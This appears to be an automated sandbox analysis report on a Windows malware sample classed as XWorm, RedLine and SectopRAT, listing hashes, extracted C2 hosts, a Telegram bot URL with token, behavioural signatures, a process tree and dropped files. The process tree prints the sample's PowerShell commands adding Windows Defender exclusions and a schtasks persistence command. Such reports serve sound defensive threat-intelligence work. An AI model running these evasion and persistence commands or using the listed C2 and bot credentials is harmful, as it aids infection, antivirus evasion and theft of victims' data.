Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29-05-2024 01:55

General

  • Target

    c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe

  • Size

    4.3MB

  • MD5

    b162133322f47da52b67dab3f9b3b21e

  • SHA1

    2c2ff9390bb11ae1f62a3973cf97d39be150639d

  • SHA256

    c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1

  • SHA512

    71548751c2094aa5b27228198541487616dda78b8f06239188cc57b2509903b7d1b5ca00447363e0a1cbe504eb72ce05dbcff258aac5d50d3e366dec32ec4491

  • SSDEEP

    24576:qmkYu1/Al/K6eVhA0mNC301+S45EcnlqZBU6jWUSiQoaUl4IZlWQyhvAYtkEwrSX:qmkYu1/AlC6o01qE46DZlxgXIf44cl

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    cmd.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

DOCX

C2

beshomandotestbesnd.run.place:1111

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defender features 1 IoCs
  • Detects executables packed with Themida 1 IoCs
  • Detects executables using Telegram Chat Bot 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe
    "C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Drops startup file
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies system certificate store
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2812
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2932
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2340
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\cmd.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2496
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'cmd.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "cmd" /tr "C:\ProgramData\cmd.exe"
      2⤵
      • Creates scheduled task(s)
      PID:1848
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {1E810A5C-5E35-4FA1-91CF-5195E8249DFC} S-1-5-21-330940541-141609230-1670313778-1000:KXIPPCKF\Admin:Interactive:[1]
    1⤵
      PID:1780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      342B

      MD5

      60eeaa1f1f3afc7b65ed8ee3e4607c53

      SHA1

      11b7d9118e8cceda3582ecae66b7cea5da42652a

      SHA256

      a0fef940a65673a571d0dd4ecef30da0071acbc3588e54dc0b5d8c3dce3b7ac2

      SHA512

      7c79646d942165b9e08b59330e91af3d5914769a45217b531ab4389131b8a221b0c18ceabca5469e1f742ea2ad5ab703235dfc96701a08fb966a60c20134d53e

    • C:\Users\Admin\AppData\Local\Temp\Cab2EC0.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar306C.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • C:\Users\Admin\AppData\Local\Temp\tmp3CD0.tmp

      Filesize

      46KB

      MD5

      02d2c46697e3714e49f46b680b9a6b83

      SHA1

      84f98b56d49f01e9b6b76a4e21accf64fd319140

      SHA256

      522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

      SHA512

      60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

    • C:\Users\Admin\AppData\Local\Temp\tmp3CF6.tmp

      Filesize

      92KB

      MD5

      2157696941ae13875f8dfe8630ea4029

      SHA1

      b5ff62b7900cdfc630edd94d737309042de58251

      SHA256

      90e438a9d6706c8a1e809bfb5babe83508cac27d3c9f3f9b8bd1cd4f3aa3e033

      SHA512

      61b998e42f5d0121f75e04a46177c1c3a7122dc2014b7bed1d584c9ea53146e87d7a6b9e94bde066d92580c6c2b2316dd860980e5cd8f75984286dc90e43fb6a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      428ada69f2b61864a200f4a12af1f24b

      SHA1

      067a22e47bd42a798b29361bb8c3ec63fc1de05d

      SHA256

      21d46805de7d4f9fcbb024b16713a91230cc577b2c1f9366e153093d98ce793e

      SHA512

      111d2f466024dc0f601c981ee5f3d7046403b37f9d3ef9fb21ff5b96d82330166339445c6cf6111ba4f2ac511afb1e6c4236857577e8a54146571c26dc4ecd98

    • memory/2812-42-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-47-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-12-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-13-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-18-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-17-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-16-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-15-0x0000000001390000-0x00000000017F4000-memory.dmp

      Filesize

      4.4MB

    • memory/2812-14-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-10-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-38-0x0000000001390000-0x00000000017F4000-memory.dmp

      Filesize

      4.4MB

    • memory/2812-40-0x0000000074D84000-0x0000000074D85000-memory.dmp

      Filesize

      4KB

    • memory/2812-41-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-1-0x0000000074D84000-0x0000000074D85000-memory.dmp

      Filesize

      4KB

    • memory/2812-43-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-44-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-45-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-11-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-46-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-49-0x0000000000EF0000-0x0000000000F0E000-memory.dmp

      Filesize

      120KB

    • memory/2812-50-0x0000000001050000-0x000000000105E000-memory.dmp

      Filesize

      56KB

    • memory/2812-51-0x0000000007A20000-0x0000000007D02000-memory.dmp

      Filesize

      2.9MB

    • memory/2812-52-0x0000000004C60000-0x0000000004C7C000-memory.dmp

      Filesize

      112KB

    • memory/2812-53-0x0000000005FF0000-0x0000000006038000-memory.dmp

      Filesize

      288KB

    • memory/2812-54-0x0000000001380000-0x0000000001388000-memory.dmp

      Filesize

      32KB

    • memory/2812-55-0x0000000006040000-0x00000000060E6000-memory.dmp

      Filesize

      664KB

    • memory/2812-56-0x0000000005E10000-0x0000000005E44000-memory.dmp

      Filesize

      208KB

    • memory/2812-57-0x0000000006410000-0x000000000645A000-memory.dmp

      Filesize

      296KB

    • memory/2812-58-0x0000000005820000-0x0000000005836000-memory.dmp

      Filesize

      88KB

    • memory/2812-9-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-8-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-4-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-2-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-3-0x0000000074D70000-0x0000000074E80000-memory.dmp

      Filesize

      1.1MB

    • memory/2812-0-0x0000000001390000-0x00000000017F4000-memory.dmp

      Filesize

      4.4MB